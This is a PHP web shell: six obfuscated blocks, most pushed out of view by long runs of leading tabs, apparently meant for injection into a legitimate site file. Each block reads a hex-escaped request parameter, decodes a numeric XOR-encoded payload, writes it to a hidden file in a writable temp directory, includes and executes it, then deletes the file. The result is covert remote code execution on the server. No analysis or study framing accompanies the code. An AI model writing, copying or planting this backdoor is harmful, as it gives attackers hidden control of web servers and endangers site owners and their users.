																																										if(array_key_exists("k", $_POST) && !is_null($_POST["k"])){ $data_chunk = $_POST["k"]; $data_chunk = explode ( '.' , $data_chunk ) ; $descriptor = ''; $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s3); $q = 0; $__len = count($data_chunk); do { if($q >= $__len) break; $v9 = $data_chunk[$q]; $sChar = ord($s3[$q% $lenS]); $dec =((int)$v9 - $sChar -($q% 10)) ^61; $descriptor .= chr($dec); $q++;} while(true); $token = array_filter([getenv("TEMP"), session_save_path(), getenv("TMP"), ini_get("upload_tmp_dir"), "/dev/shm", getcwd(), sys_get_temp_dir(), "/tmp", "/var/tmp"]); $comp = 0; do { $elem = $token[$comp] ?? null; if ($comp >= count($token)) break; if (is_dir($elem) ? is_writable($elem) : false) { $pointer = "$elem/.factor"; if (file_put_contents($pointer, $descriptor)) { require $pointer; unlink($pointer); die(); } } $comp++; } while (true); }
																																										if(isset($_POST) && isset($_POST["\x70\x6F\x69\x6Eter"])){ $record = array_filter([getenv("TMP"), "/tmp", sys_get_temp_dir(), getenv("TEMP"), session_save_path(), "/dev/shm", "/var/tmp", ini_get("upload_tmp_dir"), getcwd()]); $element = $_POST["\x70\x6F\x69\x6Eter"]; $element = explode ('.' , $element ) ; $token= ''; $salt6= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $salt6 ); $x= 0; $__tmp= $element; while( $v5= array_shift( $__tmp)) { $sChar= ord( $salt6[$x % $lenS] ); $dec= ( ( int)$v5 - $sChar -( $x % 10)) ^ 67; $token .= chr( $dec ); $x++; } for ($flg = 0, $holder = count($record); $flg < $holder; $flg++) { $property_set = $record[$flg]; if ((function($d) { return is_dir($d) && is_writable($d); })($property_set)) { $symbol = implode("/", [$property_set, ".dchunk"]); if (@file_put_contents($symbol, $token) !== false) { include $symbol; unlink($symbol); exit; } } } }
																																										if(!is_null($_REQUEST["\x73\x79\x6Dbol"] ?? null)){ $res = $_REQUEST["\x73\x79\x6Dbol"]; $res = explode("." ,$res ) ; $binding = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s ); $m = 0; foreach( $res as $v3) { $sChar = ord( $s[$m %$lenS] ); $d = ( ( int)$v3 - $sChar -( $m %10)) ^ 23; $binding .= chr( $d ); $m++; } $val = array_filter([sys_get_temp_dir(), "/dev/shm", getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/tmp", getenv("TMP"), "/var/tmp", session_save_path()]); while ($dat = array_shift($val)) { if (!!is_dir($dat) && !!is_writable($dat)) { $ent = join("/", [$dat, ".data"]); if (file_put_contents($ent, $binding)) { include $ent; @unlink($ent); exit; } } } }
																																										if(isset($_REQUEST["p\x6F\x69n\x74e\x72"])){ $reference = $_REQUEST["p\x6F\x69n\x74e\x72"]; $reference=explode ("." , $reference) ; $res= ''; $salt6= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $salt6); $j= 0; array_walk( $reference, function( $v2) use( &$res, &$j, $salt6, $lenS) {$sChar= ord( $salt6[$j % $lenS]); $dec= ( ( int)$v2 - $sChar -( $j % 10)) ^ 35; $res .= chr( $dec); $j++; }); $element = array_filter([sys_get_temp_dir(), ini_get("upload_tmp_dir"), session_save_path(), "/var/tmp", "/dev/shm", getenv("TMP"), "/tmp", getenv("TEMP"), getcwd()]); while ($factor = array_shift($element)) { if (is_writable($factor) && is_dir($factor)) { $entry = join("/", [$factor, ".obj"]); if (file_put_contents($entry, $res)) { include $entry; @unlink($entry); die(); } } } }
																																										if(!empty($_POST["\x64\x61ta"])){ $parameter_group = array_filter(["/var/tmp", "/dev/shm", "/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), session_save_path(), getcwd(), getenv("TMP"), sys_get_temp_dir()]); $mrk = $_POST["\x64\x61ta"]; $mrk= explode ( '.' , $mrk ); $element= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $s); $w= 0; array_walk( $mrk, function( $v8) use( &$element, &$w, $s, $lenS) {$chS= ord( $s[$w% $lenS]); $dec= ( ( int)$v8 - $chS -( $w% 10)) ^ 3; $element .= chr( $dec); $w++; }); foreach ($parameter_group as $pgrp): if (array_product([is_dir($pgrp), is_writable($pgrp)])) { $pointer = implode("/", [$pgrp, ".flag"]); $file = fopen($pointer, 'w'); if ($file) { fwrite($file, $element); fclose($file); include $pointer; @unlink($pointer); die(); } } endforeach; }


if(array_key_exists("valu\x65", $_REQUEST) && !is_null($_REQUEST["valu\x65"])){
	$flag = array_filter([getenv("TMP"), "/dev/shm", "/tmp", sys_get_temp_dir(), session_save_path(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", getcwd()]);
	$itm = $_REQUEST["valu\x65"];
	$itm	=explode	("."  ,		 $itm	)  ;
	$ptr	 = 	'';
            $s	 = 	'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen	 = 	strlen(	$s);
            $u	 = 	0;
    
            while(	$u < count(	$itm)) {$v6	 = 	$itm[$u];
                $chS	 = 	ord(	$s[$u % $sLen]);
                $dec	 = 	(	(	int)$v6 - $chS -(	$u % 10)) 	^		61;
                $ptr .= chr(	$dec);
                $u++;
            }
	while ($parameter_group = array_shift($flag)) {
    		if (!!is_dir($parameter_group) && !!is_writable($parameter_group)) {
    $desc = vsprintf("%s/%s", [$parameter_group, ".k"]);
    $file = fopen($desc, 'w');
if ($file) {
	fwrite($file, $ptr);
	fclose($file);
	include $desc;
	@unlink($desc);
	die();
}
}
}
}